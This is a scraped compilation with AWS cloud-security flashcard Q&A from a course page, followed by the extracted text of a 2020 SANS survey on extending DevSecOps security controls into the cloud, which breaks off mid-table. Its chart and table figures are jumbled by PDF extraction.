Fellow and Curriculum LeadJust as the web has defined the previous 20 years of technology change, I believe that the cloud will be the defining element of the next 20 years. If you haven’t already started building your cloud security knowledge and roadmap, there’s no better time to start than now. This collection is a good place to start if you’re looking to build out your cloud security knowledge base, because the technical detail provided in these reports and guides will enable you to start crafting a technical roadmap for your organization’s transition to the cloud.” --- ## Source: https://montance.com/questions.php?id=5 [![pdf](content/images/icons/pdf.svg) Cloud Security Practical Guide to Security in the AWS Cloud.pdf](https://drive.google.com/file/d/133YxcsKfx9iX-2ivVn702-immKBU1G0T/view?usp=sharing) Cloud Security Practical Guide To Security In The AWS Cloud Comprehensive guide on AWS security best practices, IAM, and logging visibility. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What are the three pillars of a Least Privilege Strategy in AWS? A: 1. Identity and Access Management (IAM), 2. Network Access and Segmentation Design, 3. Cloud Security Posture Management (CSPM). * Q: What is 'Compliance-forward cloud planning'? A: The concept of making cloud infrastructure planning decisions based on adhering to compliance of data first, not as an afterthought. * Q: What is the shared responsibility model for AWS? A: AWS is responsible for security \*of\* the cloud (infrastructure), while the customer is responsible for security \*in\* the cloud (data, applications, identity). * Q: What is Amazon Macie used for? A: A security service that uses machine learning to automatically discover, classify, and protect sensitive data (like PII) in AWS. * Q: What are the two major types of visibility needed in the cloud? A: 1. Event-driven visibility (logs, alerts from API calls), 2. Behavior-driven visibility (patterns over time like traffic flows). * Q: What is the 'Pets vs. Cattle' concept in cloud security? A: Pets are unique systems that require care (patching/fixing); Cattle are disposable systems that are replaced rather than fixed. * Q: What is Cloud Security Posture Management (CSPM)? A: Tools that continuously monitor cloud environments to manage risk, maintain visibility, and understand operations across AWS accounts. * Q: What service records API calls made in AWS? A: AWS CloudTrail records API calls, including identity, time, source IP, and request parameters. * Q: What is 'S3 Block Public Access'? A: A security feature that prevents S3 buckets from being publicly accessible via the internet. * Q: What is 'VPC Traffic Mirroring'? A: A feature that copies network traffic from an elastic network interface to a target for deep packet inspection and monitoring. * Q: What is the 'Cyber Defense Matrix'? A: A framework that maps the five NIST functions against five asset classes (Devices, Applications, Networks, Data, Users) to identify gaps. * Q: What is 'Serverless' security? A: Securing code and configuration without managing the underlying OS; focus on static code review, IAM privileges, and logging. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/136UoZi8hoEpYALi-atTYT-Dg5SnYMqys/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/136UoZi8hoEpYALi-atTYT-Dg5SnYMqys/view?usp=sharing]** SANS Institute Information Security Reading Room Extending DevSecOps Security Controls into the Cloud: A SANS Survey ______________________________ Jim Bird and Eric Johnson Copyright SANS Institute 2020. Author Retains Full Rights. This paper is from the SANS Institute Reading Room site. Reposting is not permitted without express written permission. Extending DevSecOps Security Controls into the Cloud: A SANS SurveyA SANS Survey Written by Jim Bird and Eric Johnson Advisor: Frank Kim October 2020Sponsored by: Cisco CloudPassage ExtraHop LogRhythm Orca Security Qualys Rapid7 Veracode ©2020 SANS™ Institute 2Executive Summary By moving work to the cloud, organizations can take advantage of the massive investments in infrastructure-as-a-service (IaaS) and platform-as-a-service (PaaS) engineering that cloud providers have made. Working in the cloud also creates new challenges and opportunities when it comes to managing security and compliance risks. DevOps—extending Agile development values, techniques and tools from development to operations—has become the de facto model for IT in the cloud. DevOps consists of cross-functional teams of developers and operations engineers sharing responsibilities for building, deploying and running applications; leaning heavily on automated testing and build tooling; and letting the cloud provider do the undifferentiated heavy lifting of running the data center, provisioning infrastructure and operating generic platform services. Secure DevOps, or DevSecOps, integrates security along the path, from requirements to architecture and design, coding, testing, release and deployment. This integration enables teams to get work done quickly while managing security risks in-phase. DevSecOps makes security a first-class problem—and the security team a first-class participant—in development and operations. This survey, the seventh in an annual series that focuses on application security and DevOps, examines DevSecOps in the cloud to understand: • How organizations are using the cloud in platforms, runtime architectures and development environments to identify security requirements, risks and opportunities. • How organizations are building and deploying applications in the cloud—that is, understanding what Continuous Integration (CI) and Continuous Delivery (CD) technologies and practices are in use. The CI/CD pipeline is not just a software delivery mechanism; it also serves as a control plane that security and compliance teams can leverage to inject testing and controls, enforce policies, and build an end-to-end audit trail of changes. • Whether or not security teams are able to keep up with fast- moving DevOps teams that deploy changes at high velocity. Have organizations been successful in Shifting Security Left into development? • What security tools and practices give DevSecOps teams the most value, whether organizations are investing more in the Dev or Ops security domains, and if organizations are Shifting Left or Shifting Right. Extending DevSecOps Security Controls into the Cloud: A SANS SurveyDevOps: Shifting Left and Shifting Right DevOps asks teams to shift left in order to introduce testing and reviews as early as possible. This approach reduces the cost and time related to finding and fixing problems, while also minimizing friction and delays. Instead of waiting until analysis, design and coding have been completed before handing work off to QA and Security for testing and review, DevOps teams work in tight iterative and incremental loops, continuously testing and reviewing changes as the code is checked in. Shifting left puts responsibility and accountability for building high-quality, secure, working software directly onto the people who are writing the code. Security can shift left by: • Securing management buy-in on security priorities and compliance requirements • Training developers in secure coding and embedding “security champions” into teams • Finding security tools that are easy to use and fit naturally into development workflows and automated pipelines • Helping DevOps teams implement these security tools There will always be problems and risks that can’t be understood and solved up front by developers looking through the tightly focused Dev lens of DevOps. These problems must be discovered and solved through a wider Ops lens. Shifting left isn’t enough. DevOps teams, and Security, also need to shift right by: • Continuously testing and experimenting—evaluating security tools and practices to learn what is useful and what slows teams down and then conducting chaos testing and operational fire drills, penetration testing and security red teaming in live environments • Continuously monitoring and using telemetry, collecting insight on operational vulnerabilities and attacks that pose real (not theoretical) risks to the organization • Implementing automated compliance safeguards and runtime protection to enforce security policies and defend against rapidly changing threats 3Figure 1 provides a snapshot of the demographics for the respondents to this survey. By extending DevOps to the cloud, organizations offload many of the responsibilities and risks for operations and scale to the cloud provider. As cloud platform offerings mature, organizations can also shift more responsibilities for security and compliance to the cloud platform itself. This enables organizations to take advantage of the cloud platform’s capabilities and available cloud-based third-party services to reduce security risks and costs, as well as simplify their security and compliance programs. However, this is not a simple lift-and-shift exercise. Organizations must take responsibility for architecting a secure solution, understanding and correctly using the capabilities that cloud providers offer, and identifying and filling in any gaps. Key Findings • While on-premises application hosting is still the most common means for delivery, cloud-hosted platforms are gaining traction. Yet many security professionals (36%) are spending less than 25% of their time building a “paved road” for the cloud provider platforms. Extending DevSecOps Security Controls into the Cloud: A SANS SurveyCybersecurityTechnology Government Top 4 Industries Represented Each gear represents 10 respondents.Organizational Size Small (Up to 1,000) Small/Medium (1,001–5,000) Medium (5,001–15,000) Medium/Large (15,001–50,000) Large (More than 50,000) Each building represents 10 respondents. Top 4 Roles Represented Security administrator/ Security analyst Security architect Security manager or director Other Each person represents 10 respondents.Operations and Headquarters Ops: 179 HQ: 159 Ops: 61 HQ: 3Ops: 38 HQ: 2Ops: 55 HQ: 2 Ops: 49 HQ: 2Ops: 77 HQ: 10 Ops: 77 HQ: 7Ops: 95 HQ: 23Banking and fi nance Figure 1. Survey Demographics • Most organizations, especially large enterprises, need to work with multiple cloud platform providers, which means that they need to understand and manage a larger range of security and compliance risks. The majority of organizations (92%) use at least one public cloud provider, and the average organization has workloads running in 2.33 public cloud providers. • Agile and DevOps methods are enabling developers to deliver features and changes faster and more cost effectively. The velocity of feature delivery has increased by 14% over the past four years, but the speed of security assessments is not keeping up. Only half of organizations are taking advantage of automated testing, and 27% are not doing any security testing at all. • Most organizations are struggling to shift security left. Only 40% are including security assessments early in planning and design, where important decisions are made about architecture approach, development tooling and technology platforms—and where mistakes or misunderstandings can be dangerous and expensive. • Successfully implementing DevSecOps is not a technical problem; it is an organizational problem. Lack of resources, lack of management and developer buy-in, bureaucracy, poor communication across silos and poor prioritization are holding organizations back. But organizations can compensate to some extent for these shortcomings by shifting more work and risk onto cloud providers who have the scale, capabilities and agility to respond. Understanding the Cloud Landscape Mapping out the cloud landscape—the extent of cloud services adoption, the cloud platforms’ runtime architectures used and the related development environments—helps security understand the potential risks of working in the cloud and how these risks can be managed. As DevOps teams move their workloads into the cloud, security teams are shifting right and learning how to apply operations, monitoring and runtime security controls across public cloud providers, such as Amazon Web Services (AWS), Microsoft Azure and Google Cloud Platform (GCP). A majority of security teams (64%) are now spending at least 25% of their time deeply involved in public cloud security and operational responsibilities (see Figure 2). 4 Extending DevSecOps Security Controls into the Cloud: A SANS SurveyFigure 2. Time Spent on Architecture, Security or DevelopmentWhat percentage of your time is spent on cloud-related architecture, security or development? 40% 30% 20% 10% 0% 100%10.2% 75–99%11.2% 50–74%20.0% 25–49%22.9% Less than 25%36.1% 5Increasing Cloud Adoption With public cloud adoption rising, organizations are slowly transitioning workloads from on-premises to cloud- hosted virtual machines, cloud-hosted container services and cloud-hosted serverless platforms (see Figure 3). As organizations move from on-premises infrastructure to cloud-based services, operational complexity and scale, development cost, compliance responsibilities and security risk shift from your organization to the cloud platform: • On-premises—The organization needs to manage everything, from soup to nuts. • Cloud virtual machines—Responsibilities for data center management and infrastructure provisioning shift to the cloud provider. • Cloud container service—Responsibilities for patching the virtual machine and hardening the container runtime shift to the cloud provider. DevOps teams focus on the application and its build/runtime dependencies packaged and shipped in a Docker or CRI-O image. • Cloud serverless—Responsibilities for hardening container images and patching the underlying application runtime shift to the cloud provider. DevOps teams need to worry only about writing and testing application code, the permissions associated with the function’s service account and major upgrades to the application runtime environment (e.g., NodeJS 10.X to Node 12.X). Using Netflix’s paved road metaphor, as organizations shift from on-premises to cloud-managed workloads, and as their responsibilities for operations and security decrease, the road is less paved. The technologies and architectures are more powerful, but less understood and less mature. Organizations need to make a trade-off between reducing development and operational complexity and cost, and taking on the security and compliance risks associated with each managed cloud provider. Extending DevSecOps Security Controls into the Cloud: A SANS SurveyFigure 3. Workload Methods What percentage of your applications are running in the following methods: <10% 10–20% 21–30% 31–40% 41–50% 51–60% 61–70% 71–80% 81–90% 91–100% Cloud-hosted container service35.9% 16.0% 9.2% 6.3% 3.4% 3.9% 1.9% 1.9% 2.4% 4.9%Cloud-hosted virtual machineOn-premises 24.8%11.7% 15.0%7.3% 14.6%6.3% 8.7%5.3% 9.2%8.7% 6.3%9.2% 2.9%11.2% 1.0%17.0% 3.9%8.7% 5.8%8.7% Cloud-hosted functions-as-a- service (FaaS) (serverless)40.3% 18.4% 6.3% 4.4% 5.3% 1.9% 1.0% 1.5% 2.4% 1.5% 0% 10% 30% 20% 40% Paving the Road for Developers At Netflix, one of the key responsibilities of the security team is to build a “paved road” for developers and operations engineers to use when they are coding, provisioning and deploying online services. The paved road includes secure headers and templates, secure-by-default frameworks and general-purpose services, self-service security testing tools, and automated compliance enforcement for different types of applications and on different platforms. When developers set off on a paved road, they know that they will be able to move faster and safer at the same time.1 1 For more on Netflix’s paved road, see https://medium.com/@NetflixTechBlog/scaling-appsec-at-netflix-6a13d7ab6043 While on-premises application hosting is still the most common means for delivery, cloud-hosted platforms are gaining traction. Yet many security professionals (36%) are spending less than 25% of their time building a paved road for the cloud provider platforms. Security professionals should prioritize and start evaluating the security risks and considerations for the different cloud platforms and architectures: • Cloud virtual machines—This is the simplest transition from on premises, but it pushes more responsibility onto the organization to manage cloud operations, security and automation. Each cloud provider auto-provisions default network and firewall rules for new virtual machines, which can unintentionally expose private resources to the outside world. • Cloud container service—Security needs to be managed all along the container life cycle. There are lots of points where security risks can be introduced, but also lots of tools available to help manage risks, from code linters to container image scanning, secure container repositories and runtime security defense. • Cloud serverless—In this case, security shifts primarily to the application source code. Insecure code and referencing vulnerable open source libraries are the primary attack surface for externally facing functions.2 Mature continuous integration and delivery is the only way to scale security and compliance with the volume of functions required to power an application or microservice. 6 Extending DevSecOps Security Controls into the Cloud: A SANS SurveyServerless Security Risks Serverless platforms, also known as functions-as-a-service (FaaS), are compelling for certain kinds of development and cloud security work. Examples include AWS Lambda, Google Cloud Functions and Microsoft Azure Functions. In serverless environments, the majority of traditional security controls are cloud-managed: • Patching for virtual machines and container runtimes. • Minor updates to the application frameworks are automatically applied to the execution environment. • Managed function service accounts are integrated into the platform. • Service account credentials are automatically provisioned and rotated. • Function audit logging and monitoring capabilities are integrated into the platform. However, depending on the cloud provider, many default security settings are concerning: • Warm start times (i.e., amount of time before the environment is recycled) vary from 3 to 12 minutes, depending on the provider. This creates an opportunity for attackers to store malware in the execution environment. • Service account credentials expiration windows range from 30 minutes to 12 hours, depending on the provider. • Network security controls (e.g., egress firewall rules and network logging) are disabled by default. • Function service account permissions can be overly permissive. For example, Google Cloud Functions default to the Editor Role, which allows read and write access to existing resources, while AWS and Azure follow a least privilege model. Function permissions require disciplined automated and manual security review. 2 See OWASP’s Serverless Top 10 for common security risks: https://owasp.org/www-project-serverless-top-10/ 7Cloud Platform Analysis: The Big 3 The Big 3 cloud providers (AWS, Azure and GCP) continue to dominate the public cloud space. Of 211 respondents, only 59 (28%) reported running workloads in an alternative cloud provider. Of those 59 respondents, 30 (51%) indicated that less than 10% of their workloads are running in a cloud provider that is not one of the Big 3. See Figure 4. Further analysis of the Big 3 providers supports the 2019 Gartner cloud infrastructure as a service report.3 AWS, the first major player in the public cloud offering, is being used by 85% of the respondents, with 20% of these respondents hosting more than 91% of their applications in AWS. Microsoft Azure continues to close the gap, with 84% of respondents using Azure. However, only 12% of those respondents depend heavily (more than 91%) on Azure for the running their workloads. GCP remains a distant third, with only 65% adoption. Perhaps the most telling gap in the numbers is that only 4% of the GCP users depend on GCP for 91% of their workloads. Benefits of Managed Container Services Orchestrators such as Kubernetes play a critical role in the deployment, operations and security of container-based systems, especially at scale. But orchestrators introduce a new set of risks that need to be managed: operational complexity, large attack surfaces, misconfiguration and configuration drift, identity and access management (IAM), and network access management. Containers (especially Docker) exploded in DevOps teams before cloud services for managing containers were widely available. Heavy use of on-premises orchestrators is a legacy technical debt problem. Organizations that had early success with containers had to put in Extending DevSecOps Security Controls into the Cloud: A SANS Survey3 “Magic Quadrant for Cloud Infrastructure as a Service, Worldwide,” www.gartner.com/doc/reprints?id=1-1CMAPXNO&ct=190709&st=sb 4 For more on multicloud security considerations, see www.sans.org/reading-room/whitepapers/cloud/top-5-considerations-multicloud-security-39505 [Registration required.]Figure 4. Cloud Hosting Providers What percentage of your cloud-based applications are hosted by: <10% 10–20% 21–30% 31–40% 41–50% 51–60% 61–70% 71–80% 81–90% 91–100% Amazon Web Services (AWS)21.8% 9.5% 5.2% 5.2% 6.2% 5.2% 5.2% 2.4% 7.6% 16.6% Microsoft Azure27.0% 10.4% 7.1% 6.2% 8.1% 4.3% 1.4% 4.7% 4.3% 10.4% Google Cloud Platform (GCP)37.0% 10.4% 6.2% 2.4% 2.4% 1.4% 0.9% 0.5% 0.5% 2.8% Other14.2% 2.4% 1.4% 0.9% 1.4% 1.4% 0.9% 1.4% 0.9% 2.8% 0% 10% 30% 20% 40% Most organizations, especially large enterprises, need to work with multiple cloud platform providers. SANS found that most organizations (92%) use at least one public cloud provider, with slightly more than 60% having workloads running on three or more public cloud providers, including AWS, Azure, GCP and a handful of others. Multicloud is unavoidable: • Organizations often choose the best service available, regardless of the provider (e.g., AWS Lambda, Microsoft Azure Active Directory, or Google Kubernetes Engine). • Enterprises need to manage systemic risk by spreading work across multiple platform providers. • Corporate mergers and acquisitions are a contributing factor to the rapidly increasing cloud inventory. This presents a major challenge for security professionals. As DevOps teams shift right into multiple cloud providers, security teams must learn the security models, risks and configuration options for each provider’s key service platforms.4 8place orchestration solutions as the use of containers scaled up. Docker Swarm was the easiest entry point for smaller teams and smaller systems, but the future of Swarm is uncertain.5 For bigger teams and bigger systems, Kubernetes became the de facto standard. Installing, configuring, hardening and managing an on-premises Kubernetes cluster is a heavy lift. For managing and orchestrating containers, it makes much more sense to shift responsibilities right, to a proven cloud provider. On-premises hosted Docker, Swarm and Kubernetes installations require organizations to manage the underlying servers, container orchestrator, container runtime and container life cycle. Security teams are responsible for understanding and implementing the entire set of CIS Benchmarks for Kubernetes and Docker, each of which are more than 200 pages. For this reason, organizations are starting to shift right. Respondents reported less on-premises use of Kubernetes (32%) and Docker (35%) installations compared to the cloud-hosted options (42% and 43%, respectively). See Figure 5. More organizations (42%) are avoiding the complexity and overhead involved with installing, managing and hardening Docker and Kubernetes services altogether. As an alternative, they are running in cloud managed container services such as AWS Fargate, Amazon Elastic Container Service (AWS ECS) and Microsoft Azure Container Service to reduce operational costs, time and security risks: • Kubernetes services removes the Kubernetes administration control plane, such as server administration and hardening, from the organization’s responsibility model. Once you provide the cluster’s YAML definition, you can focus on the cluster config, execution role, image scanning, and setting up an admission controller. • AWS Fargate is serverless container orchestration. There is no central server to manage and patch. Just provide a task definition with the image ID and the number of desired containers to manage workloads, and it manages the cluster. Extending DevSecOps Security Controls into the Cloud: A SANS Survey5 Following its acquisition of Docker Enterprise and the enterprise customer base, Mirantis originally announced a sunset date for Swarm in 2021, but now says that it will continue to maintain it for the foreseeable future. www.mirantis.com/blog/mirantis-will-continue-to-support-and-develop-docker-swarm Which container orchestration tools are managing your production workloads? Select all that apply. 0% 20% 10% 40% 30%Cloud-managed container service (e.g., AWS ECS, AWS Fargate, Azure Container) 35.3% 10.4% 6.9%Open Shift Docker Swarm OtherOn-premises Kubernetes Cloud-managed Kubernetes service (e.g., AWS EKS/Fargate, Azure AKS, Google GKE)Cloud-hosted Kubernetes (e.g., EC2, Azure VM, GCE) 13.9%32.4%42.2%43.4% 41.6% 29.5%On-premises Docker EngineCloud-hosted Docker (e.g., EC2, Azure VM, GCE) Figure 5. Container Orchestration Tools in Use Takeaway When shifting right, security’s job gets simpler and more focused. Let the cloud provider manage the technical complexity, operational risk, and lockdown and hardening of the containerized environment so that the DevOps teams can focus on delivering business features. 9Programming Environments and Risks As teams move to different platforms, their use of development tools, languages and frameworks change to take advantage of new capabilities and conveniences. At the same time, this introduces new security risks. See Figure 6. Security practices and tooling must be adapted to the needs of development teams as well as the development environments, languages and frameworks that these teams are using. While Java, PHP and C/C++ continue to be major sources of security risk based on their legacy use, common cloud platform languages such as JavaScript/Node. js and Python are increasing in use—and risk.6 Security at Velocity The increased velocity of delivery is key to DevOps success. Top-performing DevOps organizations deploy changes across their infrastructure dozens or hundreds or even thousands of times per day. But working at high velocity forces organizations to make compromises—and introduces risks: • Agility vs. compliance—Hand-offs to security specialists, compliance reviews and other manual checks waste time and disrupt flow. As teams speed up, security testing must become self-service, automated as much as possible, and integrated into engineering environments and workflows. Give engineering teams security training, clear and measurable goals, and testable compliance requirements. Let engineers choose when and where to enforce checks (e.g., in the IDE, during pull requests or in CI/CD as part of the build pipeline). Implement automated checks to enforce policies in development, testing and production. • Speed vs. coverage—If teams are delivering changes several times a day, testing (including security testing) needs to happen in minutes, not hours or days. Teams cannot test the entire code base on every change and should not need to. Most changes in iterative and incremental development should be small and reasonably isolated. Focus reviews and testing on the areas of code recently changed, relying on incremental scanning back-stopped by automated smoke tests on critical functions and automated safety checks to catch common configuration errors. • Accuracy vs. completeness—Tests must be accurate and consistently provide clear, actionable feedback to developers (e.g., where the bug is, how to fix the bug and why). Developers won’t have the time or skills to assess false positive findings from scanning or testing. Extending DevSecOps Security Controls into the Cloud: A SANS SurveyFigure 6. Riskiest Languages and Platforms Which languages and platforms in your application portfolio have been the greatest source of risk or exposure to your organization? Select your top three. 0% 20% 10% 40% 60% 30% 50%.NET 31.0% 12.7% 12.0%HTML Android C#PHP C/C++Java 19.7%26.1%50.7% 33.8% 23.2%PythonJavaScript 58.5% 6 Security risks with languages track popularity of use. See GitHub’s “State of the Octoverse” for tracking of development language use: https://octoverse.github.com 10To understand how organizations are making these risk trade-offs, we asked a series of questions to learn: • How often organizations are delivering changes to production • How they are delivering these changes—that is, what technical practices and toolchains they are using • How often they are testing or assessing security • What security controls they are relying on to manage security risks We describe the survey results and our findings related to these questions in the following sections. Delivery Velocity Is Accelerating The velocity at which organizations are delivering IT changes continues to accelerate, as shown in Table 1. This table provides a year-over-year comparison of how often respondents deploy system changes to production applications. In the early days of Agile development, Scrum teams and XP teams delivered working software every month, which was considered radical at the time. Today, almost three-quarters (74%) of organizations are delivering changes more than once per month, an increase in velocity of 14% over the past four years. To deliver changes at high velocity, DevOps teams follow a core set of common technical practices and automation technologies. Security and compliance can build on and leverage these practices and tools— if these practices and tools are in place and working effectively. See Figure 7. More than half of organizations are following iterative, incremental design and development using core Agile and DevOps technical practices, such as CI and automated builds. However, almost half of organizations are not using automated testing. This implies that they are still relying on manual testing (which doesn’t scale and can’t keep up with rapid, iterative development and delivery) or, worse, they aren’t testing at all. Extending DevSecOps Security Controls into the Cloud: A SANS SurveyTable 1. Delivery Velocity 2017 Frequency of Delivery to Production 2020 2018 Continuously (several times per day) Daily Weekly More than once per month Monthly Quarterly More than once per year Annually Other (ad hoc/more than once per year)5.3% 12.0% 25.4% 17.7% 18.7% 13.4% 3.8% 1.9% 1.9% 10.0% 7.0% 24.0% 25.0% 15.0% 11.0% 4.0% 1.0% 3.0% 11. 1% 12. 1% 31.4% 19.8% 11.1% 6.3% 3.9% 1.0% 3.9% Figure 7. Technical Practices and Automation Technologies in Use Which of the following practices does your organization follow? Select all that apply. Continuous integration 56.7% 38.5% 37.5% 24.0% 19.2% 2.9%Continuous Delivery Immutable infrastructure provisioning OtherBlue/green deploymentsContinuous deployment to production Programmable configuration management/ Infrastructure as codeAutomated testing Automated deploymentBuild automation 48.6%53.4%60.6%61.5% 60.1% 51.4%Proactive monitoring/Measurement of systems in productionIterative/Incremental design and development 0% 10% 30% 20% 40% 60% 50% 11And only 38% are provisioning and configuring infrastructure using modern programmatic tools, such as Chef, Terraform or AWS CloudFormation, instead of point-and-click admin console interfaces. Examples include the following: • Configuring through code, rather than manually, is a prerequisite for leveraging cloud services at scale. Code-based changes are versioned, testable, auditable and repeatable. • Configuring cloud infrastructure in code creates a control structure for security and compliance. Configuration changes can be checked into version control, and automatically scanned and tested using CI/CD build pipelines to catch configuration errors and enforce hardening policies. However, there is a high learning curve associated with understanding cloud services and cloud infrastructure coding languages, practices and tools at the same time. DevOps maturity plays a part in this. If the engineering culture is code-driven already, it lends perfectly into programmatic cloud infrastructure. Automated build and delivery, using CI/ CD tooling, is key not only to speed but also reducing risk. Automation is predictable, scalable, reproducible and auditable. Most organizations (56%) continue to rely on open source, on-premises tools, such as Jenkins, to automatically build and deploy code changes. But more modern cloud-hosted solutions (54%) and cloud-native tools are being widely adopted, at 49% (see Figure 8). These cloud platforms enable DevOps teams to shift right—offloading the responsibilities and costs for provisioning, configuring, hardening, monitoring and managing these tool sets onto the cloud service provider—reducing operational complexity and risk. DevOps teams can focus on their builds, designing and optimizing their workflows, instead of the undifferentiated heavy lifting of infrastructure. GitHub and GitLab are rapidly releasing security features in their automated CI/CD offerings. Examples of these features include automated static analysis, source code component analysis and dynamic application security testing (DAST). Security and development teams can easily leverage these features to shift security left and keep up with the velocity of change. Is Security Keeping Up with the Velocity of Change? The faster that engineering and development teams deliver changes, the faster security teams need to identify and assess risks. See Figure 9. Extending DevSecOps Security Controls into the Cloud: A SANS Survey Which Continuous Integration tools are you using to automate your build and release workflows? Select all that apply. 0% 10% 40% 30% 60% 50% 20%Cloud hosted (e.g., GitHub Actions, GitLab CI) 35.0% OtherCloud native (e.g., AWS CodePipeline, Microsoft Azure DevOps) 4.6%53.8%56.3% 49.2% On-premises commercialOn-premises open source (e.g., Jenkins) Figure 8. Continuous Integration Tools in Use Figure 9. Velocity of Delivery vs. Velocity of Security Assessment Velocity of Delivery vs. Velocity of Security Assessment 30% 20% 10% 0% More than once per month19.8% 10.5% Weekly31.4% 15.1% Daily12.1% 7.9% Continuously (several times per day)11.1% 11.8% Delivery Security Testing 12By comparing the velocity of delivery to the velocity of security testing, as shown in Figure 9, we can see that most organizations are unable to keep up with the pace of delivery: • Although a small number of practice leaders are delivering and testing continuously, in all other cases the frequency of security testing significantly trails delivery. • A significant number (39%) of organizations are still relying on point-in- time or ad hoc security testing, which leaves them without a clear picture of security risk or the ability to manage these risks. • What is more concerning is that 27% of organizations do not perform security assessments at all. When Is Security Testing Performed in DevOps? As organizations shift left, they need to add security testing and reviews into development and DevOps team workflows, as part of analysis, design, coding and testing. As shown in Figure 10, security testing is being done at multiple points in most organizations, from upfront requirements to design, through coding and developer/QA testing workflows, and into the pre-deployment and deployment stages. However, fewer than half of organizations (40%) have shifted security testing and reviews left into upfront requirements and design, where McGraw’s Law tells us that roughly half of security problems (design flaws) are introduced.7 This is when important—and expensive—fundamental decisions need to be made about architectural approach, platform choice, development environments, languages and frameworks. These decisions can have serious operational, security and compliance consequences. Mistakes and misunderstandings made at these early points will need to be caught later—in QA or acceptance testing, pre-deployment reviews or after the code is already in production—where the costs and consequences of dealing with these problems are much higher. Extending DevSecOps Security Controls into the Cloud: A SANS Survey When do you perform security testing in your build and release pipelines? Select all that apply. 0% 20% 10% 40% 30% 50% Unit testing36.2%40.8%Coding 33.6%Preproduction gate Continuous security compliance45.4%Code commit/Pull request35.5%Requirements/Use case39.5% Architecture/Design43.4% 34.9%Deployment/Rollout to productionQA/Acceptance testing48.0% Figure 10. Timing of Security Testing in Development/Deployment 7 The fundamental differences between security bugs (mistakes in coding) and flaws (mistakes in requirements and design) was first examined in Dr. Gary McGraw’s book Software Security: Building Security In, www.swsec.com 13DevSecOps Tools and Practices: Shift Left or Shift Right? Organizations can use a wide range of security tools and practices to understand and manage security risks, both early in development and later in operations.8 We asked respondents to rank security tools and practices from most useful to least useful (with 1 being most useful) and then looked at this list—from planning through to deployment and operations—through the shift left (Dev) and shift right (Ops) lenses. (See Table 2 and our findings as described in the feature “Shift Left vs. Shift Right Analysis” on the next page). Extending DevSecOps Security Controls into the Cloud: A SANS Survey8 SANS has mapped security practices and open source tools in a secure DevOps toolchain, found at www.sans.org/security-resources/posters/cloud-security-devsecops-practices/200/download [Registration required.]Table 2. Usefulness of Security Testing Practices/Tools and Position in Development Cycle Planning Analysis Design Coding Testing Deployment Operations 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Upfront risk assessments Security training for developers Security stories Threat modeling Dependency analysis SCA Manual code review Container scanning DAST IAST Continuous vulnerability scanningConfiguration security monitoring Periodic vulnerability scanning WAF Third-party penetration testing NDR/NTA Third-party compliance reviews Internal penetration testing NGAF/NGWAF File integrity monitoring/HIDS Virtual patching Container runtime security RASP Bug bounties 14 Extending DevSecOps Security Controls into the Cloud: A SANS SurveyShift Left vs. Shift Right Analysis • Looking at the top 10 practices shown in Table 2 on the previous page, there is roughly an even split between shift left (Dev) and shift right (Ops). • Configuration security monitoring (CSM) tools ranked highest on the list. According to OWASP, security misconfiguration in applications and cloud deployment is the most common security issue in modern online applications.9 CSM tools—automatically verifying configuration settings and enforcing security hardening and compliance policies— continuously validate and audit security controls and prevent configuration drift. These tools can catch common but dangerous mistakes, such as insecure defaults, missing credentials, confidential data exposed on publicly accessible storage, inadequate encryption and logging, and so on. As cloud providers offer more services, there is more configuration work to do—making CSM even more important. • Although most security tools and practices are targeted to operations (not development), it is clear that organizations recognize the value of shifting security left into early stages of planning, requirements and design. Upfront risk assessments and threat modeling were, respectively, the second and third most useful practices identified. However, as we saw in Figure 9 earlier, fewer than half of organizations actually conduct security testing or reviews during requirements analysis and design. • Security training for developers continues to be one of the most valuable practices and is key to shifting left. Organizations cannot expect developers to take more responsibility for security if they don’t have the skills to do so. • It is becoming a mainstream practice to automate container/image scanning to catch vulnerabilities in image layers and container configuration. These scans can be added into CI/CD pipelines, as an admission control step in image registry pulls, or included in continuous vulnerability scanning. • Network detection and response (NDR) and network traffic analysis (NTA) capabilities are important for understanding, managing and securing east–west network communications in hybrid cloud architectures and container-based microservices. They provide deep visibility into network traffic and using machine learning to identify threats and attacks as they occur. Public cloud provider traffic-mirroring services have made it easy to deploy these technologies as part of a shift right approach to operational security. • Manual code reviews are a valuable security control for shifting left. As security teams continue to apply DevOps practices to security workflows, manual code reviews become easier to enforce with branch protections and mandatory pull requests. • Security teams still lean heavily on point-in-time assessments (e.g., periodic vulnerability scanning, third-party penetration testing), even though these practices can’t keep up with rapid, continuous change. As delivery speeds up, security will need to shift to continuous vulnerability scanning and rapid, in-phase testing approaches (e.g., IAST). • As we saw in our previous survey from 2018,10 while bug bounties (ranked last in the list of security practices in both surveys) receive a lot of media attention, they are difficult to set up and run in practice. 9 https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A6-Security_Misconfiguration 10 “2018 Secure DevOps: Fact or Fiction?” November 2018, www.sans.org/reading-room/whitepapers/cloud/paper/38690 [Registration required.] 15Next, we wanted to understand how organizations are managing and conducting their security programs. Is security in organizations still siloed or are responsibilities for security shifting left, from security and compliance teams to business unit owners (who determine priorities and hold the budgets) and development or DevOps teams? See Table 3. Now, let’s shift right and look at how quickly and effectively organizations deal with security issues in operations. How Are Security Vulnerabilities Being Managed in Operations? Figure 11 indicates that less than half of organizations are repairing all, or almost all, critical vulnerabilities satisfactorily and in a timely manner. This has serious implications for the security of production systems, especially those that are mission critical. When serious vulnerabilities are found in production, teams must be able to respond and patch quickly in order to close the window of exposure11 and outrace attackers, and stay in compliance. Extending DevSecOps Security Controls into the Cloud: A SANS SurveyTable 3. Testing and Remediation Roles vs. Responsibility ManagingRoleAcceptingCorrective Actions Conducting Business unit owner 39.3% 12.6% 52.6% 26.8% Commercial application vendors 17.4% 23.4% 19.4% 33.3% Cross-functional teams in DevOps or DevSecOps 28.8% 38.1% 29.4% 39.2% Development team 28.8% 38.1% 36.8% 63.3% External security consultants 8.5% 42.8% 13.2% 9.2% Internal security team 50.1% 65.4% 34.1% 22.6% Quality assurance 17.9% 33.4% 28.8% 18.1% Security architect 42.1% 38.8% 28.8% 24.1% Security-as-a-service (cloud) providers 13.4% 29.5% 